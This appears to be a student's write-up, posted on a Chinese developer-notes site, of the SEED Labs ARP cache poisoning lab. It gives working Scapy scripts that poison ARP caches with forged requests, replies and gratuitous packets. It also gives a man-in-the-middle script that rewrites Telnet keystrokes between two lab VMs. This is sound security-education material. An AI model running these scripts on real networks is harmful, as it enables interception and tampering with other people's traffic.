热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【Seedlabs】ARPCachePoisoningAttackLab

目录一、实验环境二、实验内容Task1:ARPCachePoisoningTask2:MITMAttackonTelnetusingARPCachePoisoning 一、实验环境

目录

一、实验环境

二、实验内容

Task 1: ARP Cache Poisoning

Task 2: MITM Attack on Telnet using ARP Cache Poisoning 


一、实验环境


本地共有三台虚拟机,位于同一个子网下。地址如下:
主机名IP 地址MAC 地址
M (攻击者)10.9.0.10502:42:0a:09:00:69
A (客户端)10.9.0.502:42:0a:09:00:05
B (服务器)10.9.0.602:42:0a:09:00:06

二、实验内容


Task 1: ARP Cache Poisoning



Task 1A (using ARP request).
 

     On host M, construct an ARP request packet and send to host A. Check whether M’s MAC address is mapped to B’s IP address in A’s ARP cache.

       在主机 M 上,构造一个 ARP 请求包,发送给主机 A。查看主机 A 的 ARP 缓存中 M 的 MAC 地址是否映射到 B 的 IP 地址。

#!/usr/bin/python3
from scapy.all import *
# M
src_mac='02:42:0a:09:00:69'# M
dst_mac='00:00:00:00:00:00'
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.9.0.6' # B
dst_ip='10.9.0.99' # 任意 IP
eth = Ether(src=src_mac,dst=dst_mac_eth)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
sendp(pkt)

捕获的数据包信息

在主机A上查看arp表,可以看出主机B对应的MAC地址为主机M的MAC地址,攻击成功。

• Task 1B (using ARP reply). 

      On host M, construct an ARP reply packet and send to host A. Check whether M’s MAC address is mapped to B’s IP address in A’s ARP cache.

       在主机 M 上,构造一个 ARP 应答包,发送给主机 A。在 A 的 ARP 缓存中检查 M 的 MAC 地址是否映射到 B 的 IP 地址。

#!/usr/bin/python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='02:42:0a:09:00:05' # A
src_ip='10.9.0.6' # B
dst_ip='10.9.0.5' # A
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
sendp(pkt)

抓包结果

• Task 1C (using ARP gratuitous message).

      On host M, construct an ARP gratuitous packets. ARP gratuitous packet is a special ARP request packet. It is used when a host machine needs to update outdated information on all the other machine’s ARP cache. 

        在主机 M 上,构造一个 ARP 免费包。 ARP 免费包是一种特殊的 ARP 请求包。 当主机需要更新所有其他机器的 ARP 缓存上的过时信息时使用它。

#!/usr/bin/python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.9.0.6' # B
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
sendp(pkt)

抓包结果


Task 2: MITM Attack on Telnet using ARP Cache Poisoning 

Step 1 (Launch the ARP cache poisoning attack).

     First, Host M conducts an ARP cache poisoning attack on both A and B, such that in A’s ARP cache, B’s IP address maps to M’s MAC address, and in B’s ARP cache, A’s IP address also maps to M’s MAC address. After this step, packets sent between A and B will all be sent to M. We will use the ARP cache poisoning attack from Task 1 to achieve this goal.

使用任务1中的ARP缓存中毒攻击来实现这个目标。

其中用于攻击主机B的ARP缓存中毒攻击代码为:

#!/usr/bin/python3
from scapy.all import *
# M
src_mac='02:42:0a:09:00:69'
dst_mac='00:00:00:00:00:00'
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.9.0.5' # A
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac,dst=dst_mac_eth)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
sendp(pkt)

攻击后,查看AB两台主机的ARP表,可以看出对两台主机的ARP攻击成功。

Step 2 (Testing). 

     After the attack is successful, please try to ping each other between Hosts A and B, and report your observation. Please show Wireshark results in your report.

攻击成功后,在Host A和B之间互相ping。

Wireshark抓包结果如下

Step 3 (Turn on IP forwarding). 

      Now we turn on the IP forwarding on Host M, so it will forward the packets between A and B. Please run the following command and repeat Step 2.

打开主机M上的数据转发

 重新在主机AB之间互ping,结果如下:

Wireshark抓包结果如下:

       在icmp请求数据包中,链路层目的地址为主机M的MAC地址,源地址为主机A的MAC地址。IP层目的地址却是主机B的IP地址。

        转发开始起作用。主机M收到包后修改链路层的MAC地址,目的MAC为主机B的MAC地址,源MAC为自己的MAC地址。所以IP层是源地址为主机A,目的地址为主机B不变,但是链路层变成由主机M发往主机B。

Step 4 (Launch the MITM attack).

      We are ready to make changes to the Telnet data between A and B. Assume that A is the Telnet client and B is the Telnet server. After A has connected to the Telnet server on B, for every key stroke typed in A’s Telnet window, a TCP packet is generated and sent to B. We would like to intercept the TCP packet, and replace each typed character with a fixed character (say Z). This way, it does not matter what the user types on A, Telnet will always display Z.

   ①首先打开主机M上的数据转发功能,然后在机器A上telnet机器B,输入用户名密码,可以连上,可以正常输入命令并返回结果。

   ②建立连接后,使用以下命令关闭IP转发。 

sysctl net.ipv4.ip_forward=0

在 A 的 Telnet 窗口中输入一些内容,发现无法输入以及回车。

   ③建立连接后在机器M上关闭包转发,运行ARP缓存中毒攻击和发包程序。

使用的攻击代码如下:

#!/usr/bin/python3
from scapy.all import *
VM_A_IP = "10.9.0.5"
VM_B_IP = "10.9.0.6"
def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.
newpkt = pkt[IP]
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
#olddata = pkt[TCP].payload.load # Get the original payload data
newdata = str.encode('Z') # No change is made in this sample code
#newdata = "Z" * len(olddata)
#####################################################################
# Attach the new data and set the packet out
send(newpkt/newdata)
elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
send(pkt[IP]) # Forward the original packet
pkt = sniff(filter="ether src host not 02:42:0a:09:00:69 and tcp",prn=spoof_pkt)

运行截图

   ④结果如下,无论输入什么,都会显示z,即使回车,这会使得无法执行命令。

       但是在实验中发现,输入的命令可以显示为原先设定的Z,但是输入一串字符,往往只能有最开始的几个字母显示为Z。并且很快就可以恢复输入,猜测是不是由于对两台主机的攻击时效短,攻击失效ARP表及时更新导致的。

 



推荐阅读
  • Python实现变声器功能(萝莉音御姐音)的方法及步骤
    本文介绍了使用Python实现变声器功能(萝莉音御姐音)的方法及步骤。首先登录百度AL开发平台,选择语音合成,创建应用并填写应用信息,获取Appid、API Key和Secret Key。然后安装pythonsdk,可以通过pip install baidu-aip或python setup.py install进行安装。最后,书写代码实现变声器功能,使用AipSpeech库进行语音合成,可以设置音量等参数。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 使用正则表达式爬取36Kr网站首页新闻的操作步骤和代码示例
    本文介绍了使用正则表达式来爬取36Kr网站首页所有新闻的操作步骤和代码示例。通过访问网站、查找关键词、编写代码等步骤,可以获取到网站首页的新闻数据。代码示例使用Python编写,并使用正则表达式来提取所需的数据。详细的操作步骤和代码示例可以参考本文内容。 ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了logistic回归(线性和非线性)相关的知识,包括线性logistic回归的代码和数据集的分布情况。希望对你有一定的参考价值。 ... [详细]
  • vue使用
    关键词: ... [详细]
  • Java实战之电影在线观看系统的实现
    本文介绍了Java实战之电影在线观看系统的实现过程。首先对项目进行了简述,然后展示了系统的效果图。接着介绍了系统的核心代码,包括后台用户管理控制器、电影管理控制器和前台电影控制器。最后对项目的环境配置和使用的技术进行了说明,包括JSP、Spring、SpringMVC、MyBatis、html、css、JavaScript、JQuery、Ajax、layui和maven等。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了RPC框架Thrift的安装环境变量配置与第一个实例,讲解了RPC的概念以及如何解决跨语言、c++客户端、web服务端、远程调用等需求。Thrift开发方便上手快,性能和稳定性也不错,适合初学者学习和使用。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
author-avatar
uikankan
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有